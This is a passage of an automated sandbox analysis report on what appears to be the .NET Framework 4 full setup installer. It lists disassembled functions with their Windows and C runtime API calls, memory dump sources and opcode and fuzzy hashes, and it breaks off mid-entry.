                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Heap$ErrorFileFreeLastProcess$DeleteMove
                    • String ID:
                    • API String ID: 2212845612-0
                    • Opcode ID: 8226162eec06fdd07b432a642c40f936d38bb75c84a7498d0bf8429a98c14d79
                    • Instruction ID: a4679a45cf7678e7e3a7f179c0376bfa6b88e2889afc53fa248c20d3f76f1d3c
                    • Opcode Fuzzy Hash: 8226162eec06fdd07b432a642c40f936d38bb75c84a7498d0bf8429a98c14d79
                    • Instruction Fuzzy Hash: 9DF06D71541124EBCB22EFE2FF499ABB764FB40B21705802BF90396221CB348843DBA0
                    Function 00AE7E1E Relevance: 2.5, APIs: 2, Instructions: 15COMMON
                    Download Yara Rule
                    APIs
                    • CloseHandle.KERNELBASE(00000000,00AE809D,00000000,00AE5279,?,?,?,00000000,00AE8585,?,00000000,?,?,000000CC,00AE0145), ref: 00AE7E25
                    • GetLastError.KERNEL32 ref: 00AE7E2F
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: CloseErrorHandleLast
                    • String ID:
                    • API String ID: 918212764-0
                    • Opcode ID: e258768ae9cd3cb1fcc4b88597fe7738b578ac51099d61b12268b7c15eb3f271
                    • Instruction ID: 652888c8a388ca541421a9ebcae4ee322167c30964eb3a3708d127f09fa6e719
                    • Opcode Fuzzy Hash: e258768ae9cd3cb1fcc4b88597fe7738b578ac51099d61b12268b7c15eb3f271
                    • Instruction Fuzzy Hash: 0AD0C9703052826BDB305FB2990872A33E8AF10742F1808AAA482C0000FF20CC819650
                    Function 00ADD716 Relevance: 1.6, APIs: 1, Instructions: 126COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3_catch_GS.LIBCMT ref: 00ADD71D
                      • Part of subcall function 00AE18BD: __EH_prolog3_catch.LIBCMT ref: 00AE18C4
                      • Part of subcall function 00ADDBF8: __EH_prolog3.LIBCMT ref: 00ADDBFF
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: H_prolog3H_prolog3_catchH_prolog3_catch_
                    • String ID:
                    • API String ID: 1956504941-0
                    • Opcode ID: eb8be30b7f698e71e33f930fe362fbd04ff47173d21b5b3fc3638e54e9cc14a8
                    • Instruction ID: 932299508e49493460e01b84556ae18724b6908ebfffeb3839eb8f0bc73b4ef2
                    • Opcode Fuzzy Hash: eb8be30b7f698e71e33f930fe362fbd04ff47173d21b5b3fc3638e54e9cc14a8
                    • Instruction Fuzzy Hash: 3451DA74900348DFDB01DFA9C948A9DBBB9AF45304F14409AE84AEF342DB75DE45DB60
                    Function 00ADAC67 Relevance: 1.6, APIs: 1, Instructions: 123COMMON
                    Download Yara Rule
                    APIs
                    • #20.CABINET(00ADB250,00ADB26E,00ADB296,00ADB32B,00ADB390,00ADB48E,00ADB3F5,000000FF,?,?,00000000,00000000), ref: 00ADAD40
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: b87558e2cacc0586c2773c0b4515ee1aa141205d9ef5174ca6206bd6b144856b
                    • Instruction ID: 0a8d25ee869eea68a66013a1265fb598aa64ac55c0621f4057b6c637032b7d1f
                    • Opcode Fuzzy Hash: b87558e2cacc0586c2773c0b4515ee1aa141205d9ef5174ca6206bd6b144856b
                    • Instruction Fuzzy Hash: ED415471D10219EFCB10DFE9D9859EEBBB2BB18710B11842BE416F7750D77889418FA2
                    Function 00AE87CE Relevance: 1.6, APIs: 1, Instructions: 113synchronizationCOMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 00AE85CB: __EH_prolog3.LIBCMT ref: 00AE85D2
                    • WaitForSingleObject.KERNEL32(?,000000FF,?,?), ref: 00AE8879
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: H_prolog3ObjectSingleWait
                    • String ID:
                    • API String ID: 2100491740-0
                    • Opcode ID: 45a40758ec4c706bb6d3367af939e21f0fb7b455f0bd7610c6591044130dbcef
                    • Instruction ID: 8e4f3ecc6422071f8f3f5c8a4fabfe3dcf5cc6665a2beaccaf26788362346963
                    • Opcode Fuzzy Hash: 45a40758ec4c706bb6d3367af939e21f0fb7b455f0bd7610c6591044130dbcef
                    • Instruction Fuzzy Hash: F7415F32A001958BCF61DF6AC9D1B6933A5BF44780F5541A4EC69EF267CF28EC418B91
                    Function 00AE5453 Relevance: 1.6, APIs: 1, Instructions: 80COMMON
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID:
                    • API String ID: 431132790-0
                    • Opcode ID: 06ac92cb61875dd2048d3af0f0087192bddca51a25a88e532d7dbd03d7e16ec5
                    • Instruction ID: 8858e3993affc705519036c708194b01e765485b09cd6de67b609b79981428e4
                    • Opcode Fuzzy Hash: 06ac92cb61875dd2048d3af0f0087192bddca51a25a88e532d7dbd03d7e16ec5
                    • Instruction Fuzzy Hash: 5C316070D00655CFCF15CF69D584AAABBF1BF09324F260694E855AB292C370ED41CFA0
                    Function 00AE2D7D Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                    Download Yara Rule
                    APIs
                    • __CxxThrowException@8.LIBCMT ref: 00AE2DBF
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Exception@8Throw
                    • String ID:
                    • API String ID: 2005118841-0
                    • Opcode ID: 240b5c4cf4c9e93d9b3de2b0d4e60df3d7e245e3ff142fdf214fa1cd63650050
                    • Instruction ID: 159c611fb8f2e49bc9f70c540b25135c0bc25fc3c2087e334efe3466eb9fdcec
                    • Opcode Fuzzy Hash: 240b5c4cf4c9e93d9b3de2b0d4e60df3d7e245e3ff142fdf214fa1cd63650050
                    • Instruction Fuzzy Hash: 1301BC71600746AFCF28CFA9C805E5BBBF8EF853147048A5DA082C3641D770FA45CB50
                    Function 00AD9CA3 Relevance: 1.5, APIs: 1, Instructions: 36fileCOMMON
                    Download Yara Rule
                    APIs
                    • CreateFileW.KERNELBASE(?,?,00AFBEF0,00000000,00AD5AE3,?,00000000,?,00000000,?,?,?,00AD843A,?,40000000,00000005), ref: 00AD9CD2
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: CreateFile
                    • String ID:
                    • API String ID: 823142352-0
                    • Opcode ID: e53e5c4babb859d777cd7d4ddce639fa88fc96ef0608ee929e9421956ca6be35
                    • Instruction ID: e44ffbc1b2b568feb41579fdefb99f1e84f17a45e3da59c0ba925a47810a9cd1
                    • Opcode Fuzzy Hash: e53e5c4babb859d777cd7d4ddce639fa88fc96ef0608ee929e9421956ca6be35
                    • Instruction Fuzzy Hash: 07F06D32801128FFCB129F98DE858DF7BA5EB04365B104126BA1226260D731CE20EAA0
                    Function 00AE388C Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID:
                    • API String ID: 431132790-0
                    • Opcode ID: ee7ac73d6c03d843d25c93e00f04b3bc37bdacf64935269d6b16922d5464047e
                    • Instruction ID: 7f376d766ca9a373c17a474fa1c36253e245895d886fbe0cce6c665035e4f8d1
                    • Opcode Fuzzy Hash: ee7ac73d6c03d843d25c93e00f04b3bc37bdacf64935269d6b16922d5464047e
                    • Instruction Fuzzy Hash: E301ADB1900A06EFC710DFB8EA09629FBF1FF04311B108209E11A8B6A1DBB0E955CF91
                    Function 00AE5293 Relevance: 1.5, APIs: 1, Instructions: 32COMMON
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID:
                    • API String ID: 431132790-0
                    • Opcode ID: 345be3b0f79056cbbb12bc7e0b3a8a8fa888c4791b264a3c95f456c6c4151365
                    • Instruction ID: 6491aa704bc84d966900f844f003b726e60005ead4f117bf3a0941d37e93db08
                    • Opcode Fuzzy Hash: 345be3b0f79056cbbb12bc7e0b3a8a8fa888c4791b264a3c95f456c6c4151365
                    • Instruction Fuzzy Hash: B7018130801685DFD720EFA5D20579EB7B8BF24304F14458CE9865B282CB35AE44CB61
                    Function 00ADDE61 Relevance: 1.5, APIs: 1, Instructions: 32COMMON
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID:
                    • API String ID: 431132790-0
                    • Opcode ID: a406634f03a22921040772fe06068a5c399a96c18f981d4a27655579f5ab5b37
                    • Instruction ID: 34b05f978d4d516f1511d2cf5734b5b853652ef86a5fafbba917f60ad3106456
                    • Opcode Fuzzy Hash: a406634f03a22921040772fe06068a5c399a96c18f981d4a27655579f5ab5b37
                    • Instruction Fuzzy Hash: 37018170100708DBC721EBA4C64679EBBF46F16320F10445EF19A5B392CB34BB45CB55
                    Function 00AE2F92 Relevance: 1.5, APIs: 1, Instructions: 32COMMON
                    Download Yara Rule
                    APIs
                    • __CxxThrowException@8.LIBCMT ref: 00AE2FD6
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Exception@8Throw
                    • String ID:
                    • API String ID: 2005118841-0
                    • Opcode ID: a719b52a82cd53accca5d2663e406d869e6fe08f5a63846a5784998663a89592
                    • Instruction ID: 4e499208c6e442ca82b72647b6efa0d0098f5c5904fbf161f29c19bccb582b6a
                    • Opcode Fuzzy Hash: a719b52a82cd53accca5d2663e406d869e6fe08f5a63846a5784998663a89592
                    • Instruction Fuzzy Hash: 4EF05830500A859F9B30EB6ACA82E6AB7FCEE447503148819E896C3600EB30FD40CB60
                    Function 00AE5222 Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 00AE5229
                      • Part of subcall function 00AE4F70: __EH_prolog3.LIBCMT ref: 00AE4F77
                      • Part of subcall function 00AE8054: __EH_prolog3.LIBCMT ref: 00AE805B
                      • Part of subcall function 00AE8054: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00AE5279,?,?,?,00000000,00AE8585,?,00000000,?,?,000000CC,00AE0145), ref: 00AE808E
                      • Part of subcall function 00AE5293: __EH_prolog3.LIBCMT ref: 00AE529A
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: H_prolog3$ObjectSingleWait
                    • String ID:
                    • API String ID: 3802047751-0
                    • Opcode ID: 4bdc20cc8007a023cf82a688a6406b757ab9a4db91f2be9ea38f3f7f0f37edc8
                    • Instruction ID: f5647da4a5450128413e6c45756720de5120dc37e06bdd8cb36fffd0c11c3040
                    • Opcode Fuzzy Hash: 4bdc20cc8007a023cf82a688a6406b757ab9a4db91f2be9ea38f3f7f0f37edc8
                    • Instruction Fuzzy Hash: D7F03070401699DED711F7F9C705BCEBBAC6F25314F144188B29957183CB7527488772
                    Function 00ADBF56 Relevance: 1.5, APIs: 1, Instructions: 26memoryCOMMON
                    Download Yara Rule
                    APIs
                    • SysAllocString.OLEAUT32(?), ref: 00ADBF72
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: AllocString
                    • String ID:
                    • API String ID: 2525500382-0
                    • Opcode ID: 4b1f0181acfea04baaec08a5f5e9d61c7c2d60bd8bba315d214bc0e1a97cde69
                    • Instruction ID: 430d01a8f48ca1647a2a41eb94a8e277a4ba40f7a0305ae870130d62b690fe80
                    • Opcode Fuzzy Hash: 4b1f0181acfea04baaec08a5f5e9d61c7c2d60bd8bba315d214bc0e1a97cde69
                    • Instruction Fuzzy Hash: 82E06D31650306EACB308FB5980164AB7E4EF083A0B20C83BE98AC7210E671D8808799
                    Function 00AE0B42 Relevance: 1.5, APIs: 1, Instructions: 25COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 00AE0B49
                      • Part of subcall function 00AE4F70: __EH_prolog3.LIBCMT ref: 00AE4F77
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID:
                    • API String ID: 431132790-0
                    • Opcode ID: ec156afab796700ead4617fec4e23d6b648cf6714032fc9534c995fb620e906b
                    • Instruction ID: ef9a3f86344d459bbe484af58f82fffdc57a8ba40d3a20678cd82fa47b7a6c46
                    • Opcode Fuzzy Hash: ec156afab796700ead4617fec4e23d6b648cf6714032fc9534c995fb620e906b
                    • Instruction Fuzzy Hash: 64F0A070900648DFDB10EFA4C605B9EBBB8BF14318F104158F61A9B2A2CB71EB44CBA1
                    Function 00AE50C4 Relevance: 1.5, APIs: 1, Instructions: 15COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID:
                    • API String ID: 431132790-0
                    • Opcode ID: f57864957e4ade6af91b7fcdce268170bffb12bfc34f39e4b194003f5c1bbde4
                    • Instruction ID: 606aeb4480f0a23fdbe8a1e6812aae5b50e4aacd193268e9a99aa3cdcf5f9a0f
                    • Opcode Fuzzy Hash: f57864957e4ade6af91b7fcdce268170bffb12bfc34f39e4b194003f5c1bbde4
                    • Instruction Fuzzy Hash: 4DE0C230A0070497CB21AFA4D50635D7B72BB14331F104108F2962B2D0C7300940CF40
                    Function 00AE501D Relevance: 1.5, APIs: 1, Instructions: 15COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID:
                    • API String ID: 431132790-0
                    • Opcode ID: 76ac84d90752896ecc77f8d13f912469267c434b83a5c8d90658c814ed724ee3
                    • Instruction ID: a64d8470086b99b024441d033a508c37b47d6d90b2563e5dc14a2887bf32cfbc
                    • Opcode Fuzzy Hash: 76ac84d90752896ecc77f8d13f912469267c434b83a5c8d90658c814ed724ee3
                    • Instruction Fuzzy Hash: 4CE01234A007549BDB21AFA4D50675D7B72BB14732F114508F6966B2D1C7741941CB51
                    Function 00AE34C4 Relevance: 1.5, APIs: 1, Instructions: 14COMMON
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: H_prolog3_catch
                    • String ID:
                    • API String ID: 3886170330-0
                    • Opcode ID: 6702b72df1714c1870f023001b00dea13237bb471032ece77bff0a979f56c6ee
                    • Instruction ID: a14a5b074ccd077203581b174f02ee476a38535cd79c506525442d2a8d78aee4
                    • Opcode Fuzzy Hash: 6702b72df1714c1870f023001b00dea13237bb471032ece77bff0a979f56c6ee
                    • Instruction Fuzzy Hash: 61D06C3610024CFBDF12AFE0CE46FEE3A22FF58345F118114BB0429062C6768A30AB65
                    Function 00AE9A6C Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                    Download Yara Rule
                    APIs
                    • _doexit.LIBCMT ref: 00AE9A78
                      • Part of subcall function 00AE9927: __lock.LIBCMT ref: 00AE9935
                      • Part of subcall function 00AE9927: _DecodePointerInternal@4.DOTNETFX40_FULL_SETUP(00AF6E70,00000020,00AE9A98,?,00000001,00000000,?,00AE9AE7,000000FF,?,00AED1E4,00000011,?,?,00AEA803,0000000D), ref: 00AE9971
                      • Part of subcall function 00AE9927: _DecodePointerInternal@4.DOTNETFX40_FULL_SETUP(?,00AE9AE7,000000FF,?,00AED1E4,00000011,?,?,00AEA803,0000000D,00AF6EB8,00000008,00AF37A4,?,00000000), ref: 00AE9982
                      • Part of subcall function 00AE9927: _DecodePointerInternal@4.DOTNETFX40_FULL_SETUP(-00000004,?,00AE9AE7,000000FF,?,00AED1E4,00000011,?,?,00AEA803,0000000D,00AF6EB8,00000008,00AF37A4,?,00000000), ref: 00AE99A8
                      • Part of subcall function 00AE9927: _DecodePointerInternal@4.DOTNETFX40_FULL_SETUP(?,00AE9AE7,000000FF,?,00AED1E4,00000011,?,?,00AEA803,0000000D,00AF6EB8,00000008,00AF37A4,?,00000000), ref: 00AE99BB
                      • Part of subcall function 00AE9927: _DecodePointerInternal@4.DOTNETFX40_FULL_SETUP(?,00AE9AE7,000000FF,?,00AED1E4,00000011,?,?,00AEA803,0000000D,00AF6EB8,00000008,00AF37A4,?,00000000), ref: 00AE99C5
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: DecodeInternal@4Pointer$__lock_doexit
                    • String ID:
                    • API String ID: 2547502318-0
                    • Opcode ID: de040e4b3af3e3fd7ea996bf6568ec0e03965820b0d039836c69a1d868c49cad
                    • Instruction ID: d8e2c5af7621066fe4632d3c0203cd85d78fe6de9fb5ebbdd4dedcdaa09cca26
                    • Opcode Fuzzy Hash: de040e4b3af3e3fd7ea996bf6568ec0e03965820b0d039836c69a1d868c49cad
                    • Instruction Fuzzy Hash: CEB0923258034833DA202546AC03F063A098BC0B60F240020BA0C291A2A9A3B9618089
                    Function 00AE18BD Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
